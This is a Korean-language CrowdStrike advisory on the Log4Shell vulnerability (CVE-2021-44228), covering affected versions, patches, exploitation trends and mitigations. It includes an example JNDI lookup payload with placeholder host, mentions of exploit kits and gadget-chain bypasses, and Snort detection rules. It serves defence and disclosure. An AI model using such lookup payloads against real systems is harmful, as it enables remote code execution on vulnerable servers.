Log4j2 취약점 “Log4Shell” (CVE-2021-44228)

2021년 12월 10일

CrowdStrike 인텔리전스 팀

연구 및 위협 정보

• Log4j2는 흔히 Apache 웹 서버에 통합되어 있는 오픈소스, Java 기반 로깅 프레임워크입니다.
• 2021년 11월 말부터 12월 초 사이에, Log4j2 유틸리티에 영향을 미치는 중요한 취약점(CVE-2021-44228)이 보고되어, Apache에서 몇 가지 수정 및 코드 리비전을 실시했습니다.
•Log4j2 라이브러리는 수많은 Apache 프레임워크 서비스에서 사용되며, 2021년 12월 9일 기준으로, 활성 익스플로잇이 널리 퍼져 있는(ITW) 상태인 것으로 확인되었습니다. 본 보고서 작성 시점을 기준으로, CrowdStrike Falcon OverWatch™ 및 외부 정보를 통해 현재 진행 중인 CVE-2021-44228을 악용하는 시도를 확인했습니다.
•이 취약점은 널리 유포된 상태이므로, log4j 사용 현황 및 그 영향을 평가하고 최대한 빨리 패치를 실행할 것을 강력하게 권장합니다.
•취약점, 영향을 받는 제품 및 확산 현황 등을 둘러싼 정보는 점점 늘어나는 중이므로 CrowdStrike는 새로운 정보가 입수될 때마다 이 블로그를 업데이트할 예정입니다.

12/14 업데이트

Apache는 메시지 조회(Message Lookup) 지원을 완전히 삭제하고 JNDI를 기본적으로 비활성화하는 버전 2.16.0을 릴리스했습니다.

CrowdStrike는 국가 지원 해킹 조직과 관련된 인프라에 악성 Java 클래스 파일이 호스팅되어 있음을 확인했습니다. 해당 Java 코드는 공격자의 특정적 도구의 알려진 인스턴스를 다운로드하는 데 사용되며, 최근 공개된 Log4Shell 익스플로잇(CVE-2021-44228)과 함께 사용될 가능성이 매우 높습니다.

12/13 업데이트

클래스 이름이 허용 목록에 없는 Java 클래스의 실행을 방지하기 위해 Log4j2 취약점에 대한 추가적 대항 조치가 제공됩니다. 이를 통해 코드를 전달하여 실행하고자 하는 공격자를 보다 효과적으로 차단할 수 있습니다. 이에 공격자들은 현재 이러한 제한을 우회하는 보다 복잡한 익스플로잇 시나리오를 만들려 하고 있습니다. 가장 대표적인 전략은 역직렬화 취약점을 익스플로잇하는 직렬화 페이로드를 제공하여, 클래스 경로에 이미 존재하므로 신뢰할 수 있는 Java 코드 가젯을 사용하는 것입니다. 이 개념은 오픈 소스 JNDI-Exploit-Kit에서 구현됩니다.1 잠재적으로 취약한 모든 제품에 적용되는 Log4Shell 익스플로잇을 구성하는 확실한 방법에 대한 정보는 아직 CrowdStrike에 입수되지 않았습니다.

소위 “가젯 체인”이라 불리는 이 악성 직렬화 객체는 특정한 대상에 대한 맞춰 구성되어야 하므로, 공격자는 호스트에 대한 정보를 획득하기 위해 주로 정보 유출을 사용합니다. Log4j2에 대해 특별히 제작된 변수가 내포된 입력값을 통과함으로써, 공격자는 민감한 시스템 정보를 유출하고 이를 이용하여 해당 호스트에 대한 가젯 체인을 구성할 수 있습니다. 이 정보는 JNDI(Java Naming and Directory Interface)가 지원되는 다양한 프로토콜을 통해 CVE-2021-44228의 원본 공격 벡터와 유사한 방식으로 유출될 수 있습니다. 모든 유형의 요청을 방지하기 위해, 해당 Log4j2 애플리케이션을 다음과 같은 설정으로 시작할 수 있습니다.
log4j2.formatMsgNoLookups="true”

12/10 업데이트

Log4j2는 흔히 Apache 웹 서버에 통합되어 있는 오픈소스, Java 기반 로깅 프레임워크입니다.2 공개된 출처에 따르면, Alibaba의 Chen Zhaojun이 2021년 11월 24일 Log4j2 원격 코드 실행(RCE) 취약점을 최초로 Apache에 공식 보고했습니다.3,4 이 치명적인 취약점은 이후 CVE-2021-44228(또는 "Log4Shell")로서 기록되었으며, Log4j2 2.0-beta9부터 2.14.1까지 모든 버전에 영향을 미칩니다.

CVE-2021-44228을 완화하기 위해 2021년 11월 이후로 2차례 이상 패치가 이루어졌습니다. 그 중 2021년 11월 29일 자로 실시된 첫 번째 패치에는 로깅 메커니즘 API 기능에서 메시지 조회(Message Lookup) 사용을 비활성화하는 부분적 수정이 포함되었습니다.5 2021년 12월 5일 자로 실시된 두 번째 패치에서는 Log4j2가 LDAP(Lightweight Directory Access Protocol) 및 JNDI(Java Naming and Directory Interface)를 통해 허용하는 액세스 및 프로토콜을 제한했습니다.6 그러나, 업계 관련자에 따르면 CVE-2021-44228에 대응하는 초기 패치(Log4j2 2.15.0-rc1)는 우회가 가능하여 RCE(원격 코드 실행)를 할 수 있기 때문에 패치가 불완전하다는 문제가 있습니다. 2021년 12월 10일 기준으로 버전 Log4j2 2.15.0-rc2의 사용이 권장되나, 이와 관련된 지침은 보다 자세한 정보가 밝혀지면 변경될 수 있습니다.

CrowdStrike 인텔리전스 팀은 2021년 12월 9일부터 수많은 공격자가 CVE-2021-44228을 광범위하게 유포하며 악용하고 있다고 평가를 내렸습니다. 이는 익스플로잇의 세부적인 특성을 바탕으로 이루어진 것으로 신뢰도가 높습니다. 또한 JNDI 및 LDAP 서비스(예: jndi:ldap://[host]:[port]/[path])를 대상으로 하는 스캐닝/익스플로잇 시도를 입증하는 트래픽의 막대한 증가를 나타내는 내/외부 데이터도 판단 근거가 되었습니다.

Log4j2는 수많은 Apache 프레임워크(Struts2, Solr, Druid, Flink 등)에 공통적으로 포함되는 요소로, 바꿔 말하면 수많은 공격자들이 활용할 수 있다는 의미입니다.8 각각의 구현 환경, 서버 구성, 네트워크 아키텍처 및 기타 요인에 따라, CVE-2021-44228 익스플로잇으로 인한 영향이나 피해가 달라질 수 있습니다.
이 취약점은9 다양한 이름 분석과 디렉토리 서비스(DNS 또는 LDAP 등)에 대한 추상 인터페이스를 제공하는 JNDI를 악용합니다.10 Log4j2는 사용자 공급 데이터를 충분히 삭제(sanitization)하지 못하여, 공격자가 변수로 해석되는 문자열을 제공하는 것을 허용하여 확장 시 원격 Java 클래스 파일의 로딩과 호출을 야기할 가능성이 있습니다. 특정 서비스의 익스플로잇 가능 여부는 Log4j2의 구체적인 사용 여부에 따라 다릅니다.
다음 예시에서 logger는 인스턴스화된 Log4j2 로거이며, 특별히 제작된 공격자 공급 데이터를 오류 메시지로 로깅함으로써 이러한 상태가 실행될 수 있는 메서드를 시연합니다.

```
UserData = "${jndi:ldap://[host]/[path]}";
logger.error(UserData);
```

대상을 침해하기 위해, JNDI/LDAP URL을 통해 공격 대상 호스트에서 역직렬화되어 호출되는 악성 Java 클래스 객체를 로드합니다. 이는 JNDI가 LDAP 요청에 보안 제어를 적용하지 않기 때문에 가능합니다. 또한 LDAP는 다른 JNDI 프로토콜과 달리 원격 리소스의 클래스 로딩을 지원합니다. marshalsec와 같은 익스플로잇 페이로드를 생성하기 위한 도구를 공개적으로 사용할 수 있는 것입니다.

가장 널리 사용되는 Java 구현 환경인 Oracle JDK 및 OpenJDK 모두 2019년 이래로 익스플로잇을 방지하는 기본 설정을 탑재하고 있습니다. 변수 com.sun.jndi.ldap.object.trustURLCodebase의 기본값이 false로 설정되어 원격 리소스로의 액세스를 금지합니다. 시스템이 취약한 상태인지 확인하기 위해 다음 반환 값을 로깅 또는 프린팅하여 이 설정을 확인할 수 있으며, 공격을 방지하기 위한 대책으로 값을 false로 설정할 수 있습니다.

```
System.getProperty("com.sun.jndi.ldap.object.trustURLCodebase")
```

추가 완화 대책

2021년 12월 6일에 발행된 Log4j 2 새 버전에서는, 원격 리소스에 대한 액세스를 제한하기 위해 다음의 JNDI 세션 보안 제어용 설정을 추가했습니다.

o allowedJndiProtocols - 목록에 있는 JNDI 프로토콜 제한; 기본값: none
o allowedLdapHosts - 목록에 있는 호스트에 대한 LDAP 요청 제한; 기본값: none
o allowedLdapClasses - 허용된 원격 Java 클래스 이름 나열; 기본값: none

네트워크 수준의 공격을 방지하고 취약한 Java 서비스가 LDAP를 통해 악성 클래스 파일을 다운로드하는 것을 방지하기 위해, 적용 대상 서버에서 신뢰할 수 있는 호스트 및 프로토콜로만 아웃바운드 연결이 가능하도록 제한할 수 있습니다.

특징적인 URL 패턴 ${jndi:ldap://에 대해 로그 파일을 검사하여 익스플로잇 시도를 탐지할 수 있습니다. 네트워크 수준에서는, 다음의 Snort 규칙 중 첫 번째가 이 전략을 구현합니다. 두 번째 규칙은 수신 TCP 세션을 통해 전송된 특징적인 Java 클래스 파일 헤더에 대해 경고합니다. 중요한 점은, 이 두 번째 규칙은 긴급 규칙으로서 침입 시도를 탐지하는 추가 수단이라는 점이며, 대상 호스트와 포트는 오탐(False Positive)을 방지하기 위해 의심스러운 서비스로 설정되어야 합니다.

alert tcp any any -> $_NET any (msg: "CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]"; flow: from_client, established; content: "${jndi:ldap://"; classtype:web-application-attack; sid:8001895; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;)
alert tcp any any -> $_NET any (msg: "CrowdStrike CSA-211099 Log4Shell RCE Attempt (CVE-2021-44228) [CSA-211099]"; flow: from_server, established; content: "|ca fe ba be 00 00 00|"; content: ""; classtype: trojan-activity; sid:8001896; rev:20211210; reference:url,falcon.crowdstrike.com/intelligence/reports/CSA-211099;)

이 취약점은 널리 악용 될 수 있고 광범위하게 퍼져 있는 상태이므로, log4j 사용 현황 및 그 영향을 평가하고 최대한 빨리 패치를 실행할 것을 강력하게 권장합니다.

CrowdStrike 인텔리전스 신뢰도 평가

신뢰도 높음: 여러 출처에서 얻은 고품질의 정보를 기반으로 하는 판단입니다. 판단을 뒷받침하는 출처 정보의 질과 양에 대한 신뢰도가 높다고 해서 해당 평가가 완벽히 확실한 사실인 것은 아닙니다. 여전히 판단이 근소한 확률로 부정확할 수 있습니다.

신뢰도 중간: 신뢰할 만하며 가능성 있는 출처에서 얻었으나, 높은 수준의 신뢰도를 보장할 만큼 충분한 양이 아니거나 충분히 확신할 수 없는 정보를 기반으로 하는 판단입니다. 이 수준의 신뢰도는, 자세한 정보가 입수되거나 확인될 때까지는 부정확할 확률이 높은 판단임을 표현하는 데 사용됩니다.

신뢰도 낮음: 출처 신뢰도가 불확실하거나, 정보가 아주 일부만 입수되었거나, 확인이 미비하여 확실한 분석적 추론을 할 수 없거나 출처의 신뢰도를 테스트하지 않은 상태로 내려지는 판단입니다. 정보의 확인 또는 알려진 인텔리전스와의 차이을 채우기 위해서는 추가 정보가 필요합니다.

출처

1. https[:]//github[.]com/pimps/JNDI-Exploit-Kit
2. https://logging.apache.org/Log4j2/2.x/
3. https://logging.apache.org/Log4j2/2.x/security.html
4. https://bug.cyberkendra.com/2021/12/09/Log4j22-remote-code-execution/
5. https://issues.apache.org/jira/browse/Log4j222-3198
6. https://gitbox.apache.org/repos/asf?p=logging-Log4j2.git;h=c77b3cb
7. https://www.greynoise.io/viz/query/?gnql=CVE-2021-44228
8. https://arstechnica.com/information-technology/2021/12/mine craft-and-other-apps-face-serious-threat-from-new-code-execution-bug/
9. https[:]//docs.oracle[.]com/javase/tutorial/jndi/overview/index.html
10. https[:]//ldap.com
11. https[:]//github[.]com/mbechler/marshalsec

추가 리소스

o 귀하의 산업을 표적으로 하는 공격을 저지할 방법에 대해 알아보려면, 오늘 바로 CrowdStrike 위협 인텔리전스 전문가의 무료 1:1 인텔 브리핑을 예약하십시오.

o 자세한 정보를 요청하거나 CrowdStrike 서비스 담당자와 상담을 원하시면, 이 양식을 작성해 제출하십시오.

o CrowdStrike Falcon 제품 웹페이지를 방문하여 강력한 클라우드 네이티브 CrowdStrike Falcon® 플랫폼에 대해 알아보십시오.

o CrowdStrike Falcon Prevent™ 전체 기능 무료 체험판으로 진정한 차세대 AV 플랫폼이 오늘날의 가장 복잡한 위협에 대항하여 어떠한 성능을 보이는지 직접 확인하십시오.